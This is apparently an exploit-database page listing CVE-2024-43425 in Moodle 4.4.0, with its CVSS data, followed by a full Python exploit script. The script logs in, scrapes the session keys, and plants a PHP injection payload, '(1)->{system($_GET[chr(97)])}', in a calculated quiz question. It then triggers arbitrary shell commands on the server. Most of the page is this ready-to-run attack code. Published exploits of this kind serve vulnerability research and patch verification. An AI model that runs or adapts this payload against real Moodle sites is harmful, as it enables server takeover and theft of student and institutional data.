Moodle 4.4.0 – Authenticated Remote Code Execution

Exploit Details

Basic Information

Exploit Title Moodle 4.4.0 – Authenticated Remote Code Execution
Exploit ID EDB-ID:52350
Type exploitdb
Published 2025-07-02T00:00:00
Modified 2025-07-02T00:00:00

CVSS Information

CVSS Score 8.1
Severity HIGH
Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2024-43425

Exploit Description

Exploit Title: Moodle 4.4.0 – Authenticated Remote Code Execution Exploit Author: Likhith Appalaneni Vendor Homepage: https://moodle.org Software Link:…

Exploit Code

# Exploit Title: Moodle 4.4.0 – Authenticated Remote Code Execution

# Exploit Author: Likhith Appalaneni

# Vendor Homepage: https://moodle.org

# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0

# Tested Version: Moodle 4.4.0

# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11

# Tested On: Ubuntu 22.04, Apache2, PHP 8.2

# CVE: CVE-2024-43425

# References:

# – https://github.com/aninfosec/CVE-2024-43425-Poc

# – https://nvd.nist.gov/vuln/detail/CVE-2024-43425

import argparse

import requests

import re

import sys

import subprocess

from bs4 import BeautifulSoup

import urllib.parse

requests.packages.urllib3.disable_warnings()

def get_login_token(session, login_url):

print(“[*] Step 1: GET /login/index.php to extract login token”)

try:

response = session.get(login_url, verify=False)

if response.status_code != 200:

print(f”[-] Unexpected status code {response.status_code} when accessing login page”)

sys.exit(1)

except Exception as e:

print(f”[-] Error connecting to {login_url}: {e}”)

sys.exit(1)

soup = BeautifulSoup(response.text, “html.parser”)

token_input = soup.find(“input”, {“name”: “logintoken”})

if not token_input or not token_input.get(“value”):

print(“[-] Failed to extract login token from HTML”)

sys.exit(1)

token = token_input[“value”]

print(f”[+] Found login token: {token}”)

return token

def perform_login(session, login_url, username, password, token):

print(“[*] Step 2: POST /login/index.php with credentials”)

login_payload = {

“anchor”: “”,

“logintoken”: token,

“username”: username,

“password”: password,

}

try:

response = session.post(

login_url,

data=login_payload,

headers={“Content-Type”: “application/x-www-form-urlencoded”},

verify=False,

)

if response.status_code not in [200, 303]:

print(f”[-] Unexpected response code during login: {response.status_code}”)

sys.exit(1)

except Exception as e:

print(f”[-] Login POST failed: {e}”)

sys.exit(1)

if “MoodleSession” not in session.cookies.get_dict():

print(“[-] Login may have failed: MoodleSession cookie missing”)

sys.exit(1)

print(“[+] Logged in successfully.”)

def get_quiz_info(session, base_url, cmid):

print(“[*] Extracting sesskey, courseContextId, and category from quiz edit page…”)

quiz_edit_url = f”{base_url}/mod/quiz/edit.php?cmid={cmid}”

try:

resp = session.get(quiz_edit_url, verify=False)

if resp.status_code != 200:

print(f”[-] Failed to load quiz edit page. Status: {resp.status_code}”)

sys.exit(1)

# Extract sesskey

sesskey_match = re.search(r'”sesskey”:”([a-zA-Z0-9]+)”‘, resp.text)

# Extract courseContextId

ctxid_match = re.search(r'”courseContextId”:(\d+)’, resp.text)

# Extract category

category_match = re.search(r’;category=(\d+)’, resp.text)

if not (sesskey_match and ctxid_match and category_match):

print(“[-] Could not extract sesskey, courseContextId, or category”)

print(resp.text[:1000])

sys.exit(1)

sesskey = sesskey_match.group(1)

ctxid = ctxid_match.group(1)

category = category_match.group(1)

print(f”[+] Found sesskey: {sesskey}”)

print(f”[+] Found courseContextId: {ctxid}”)

print(f”[+] Found category: {category}”)

return sesskey, ctxid, category

except Exception as e:

print(f”[-] Exception while extracting quiz info: {e}”)

sys.exit(1)

def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):

print(“[*] Step 3: Uploading calculated question with payload…”)

url = f”{base_url}/question/bank/editquestion/question.php”

payload = “(1)->{system($_GET[chr(97)])}”

post_data = {

“initialcategory”: 1,

“reload”: 1,

“shuffleanswers”: 1,

“answernumbering”: “abc”,

“mform_isexpanded_id_answerhdr”: 1,

“noanswers”: 1,

“nounits”: 1,

“numhints”: 2,

“synchronize”: “”,

“wizard”: “datasetdefinitions”,

“id”: “”,

“inpopup”: 0,

“cmid”: cmid,

“courseid”: courseid,

“returnurl”: f”/mod/quiz/edit.php?cmid={cmid}&addonpage=0″,

“mdlscrollto”: 0,

“appendqnumstring”: “addquestion”,

“qtype”: “calculated”,

“makecopy”: 0,

“sesskey”: sesskey,

“_qf__qtype_calculated_edit_form”: 1,

“mform_isexpanded_id_generalheader”: 1,

“category”: f”{category},{ctxid}”,

“name”: “exploit”,

“questiontext[text]”: “

test

“,

“questiontext[format]”: 1,

“questiontext[itemid]”: 623548580,

“status”: “ready”,

“defaultmark”: 1,

“generalfeedback[text]”: “”,

“generalfeedback[format]”: 1,

“generalfeedback[itemid]”: 21978947,

“answer[0]”: payload,

“fraction[0]”: 1.0,

“tolerance[0]”: 0.01,

“tolerancetype[0]”: 1,

“correctanswerlength[0]”: 2,

“correctanswerformat[0]”: 1,

“feedback[0][text]”: “”,

“feedback[0][format]”: 1,

“feedback[0][itemid]”: 281384971,

“unitrole”: 3,

“penalty”: 0.3333333,

“hint[0][text]”: “”,

“hint[0][format]”: 1,

“hint[0][itemid]”: 812786292,

“hint[1][text]”: “”,

“hint[1][format]”: 1,

“hint[1][itemid]”: 795720000,

“tags”: “_qf__force_multiselect_submission”,

“submitbutton”: “Save changes”

}

try:

res = session.post(url, data=post_data, verify=False, allow_redirects=False)

if res.status_code in [302, 303] and “Location” in res.headers and “&id=” in res.headers[“Location”]:

print(“[+] Question upload request sent. Extracting question ID from redirect.”)

qid = re.search(r”&id=(\d+)”, res.headers[“Location”])

if not qid:

print(“[-] Could not extract question ID from redirect.”)

sys.exit(1)

return qid.group(1)

else:

print(f”[-] Upload failed. Status code: {res.status_code}”)

sys.exit(1)

except Exception as e:

print(f”[-] Upload exception: {e}”)

sys.exit(1)

def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):

print(“[*] Step 4: Completing dataset wizard with dataset[0]=0”)

wizard_url = f”{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions”

data_payload = {

“id”: question_id,

“inpopup”: 0,

“cmid”: cmid,

“courseid”: courseid,

“returnurl”: f”/mod/quiz/edit.php?cmid={cmid}&addonpage=0″,

“mdlscrollto”: 0,

“appendqnumstring”: “addquestion”,

“category”: f”{category},{ctxid}”,

“wizard”: “datasetitems”,

“sesskey”: sesskey,

“_qf__question_dataset_dependent_definitions_form”: 1,

“dataset[0]”: 0,

“synchronize”: 0,

“submitbutton”: “Next page”

}

try:

res = session.post(wizard_url, data=data_payload, verify=False)

if res.status_code == 200:

print(“[+] Dataset wizard POST submitted.”)

return False

elif “Exception – system(): Argument #1 ($command) cannot be empty” in res.text:

print(“[+] Reached expected error page. Payload is being interpreted.”)

return True

else:

print(f”[-] Dataset wizard POST failed with status: {res.status_code}”)

return False

except Exception as e:

print(f”[-] Exception during dataset wizard step: {e}”)

return False

def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):

print(“[*] Step 5: Triggering command: {cmd}”)

encoded = urllib.parse.quote(cmd)

trigger_url = (

f”{base_url}/question/bank/editquestion/question.php?id={question_id}”

f”&category={category}&cmid={cmid}&courseid={courseid}”

f”&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0″

f”&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}”

)

try:

resp = session.get(trigger_url, verify=False)

print(“[+] Trigger request sent. Output below:\n”)

lines = resp.text.splitlines()

output_lines = []

for line in lines:

if “ break

if line.strip():

output_lines.append(line.strip())

print(“[+] Command output (top lines):”)

print(“\n”.join(output_lines[:2]) if output_lines else “[!] No output detected.”)

except Exception as e:

print(f”[-] Error triggering command: {e}”)

sys.exit(1)

def main():

parser = argparse.ArgumentParser(description=”Moodle CVE-2024-43425 Exploit”)

parser.add_argument(“–url”, required=True, help=”Target Moodle base URL”)

parser.add_argument(“–username”, required=True, help=”Moodle username”)

parser.add_argument(“–password”, required=True, help=”Moodle password”)

parser.add_argument(“–courseid”, required=True, help=”Course ID”)

parser.add_argument(“–cmid”, required=True, help=”Course Module ID (Quiz)”)

parser.add_argument(“–cmd”, required=True, help=”Command to execute remotely (e.g., ‘whoami’ or ‘cat /flag’)”)

args = parser.parse_args()

session = requests.Session()

login_url = f”{args.url.rstrip(‘/’)}/login/index.php”

token = get_login_token(session, login_url)

perform_login(session, login_url, args.username, args.password, token)

sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip(‘/’), args.cmid)

question_id = upload_calculated_question(session, args.url.rstrip(‘/’), sesskey, args.cmid, args.courseid, category, ctxid)

if not post_dataset_wizard(session, args.url.rstrip(‘/’), question_id, sesskey, args.cmid, args.courseid, category, ctxid):

sys.exit(1)

trigger_rce(session, args.url.rstrip(‘/’), question_id, category, args.cmid, args.courseid, args.cmd)

if __name__ == “__main__”:

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.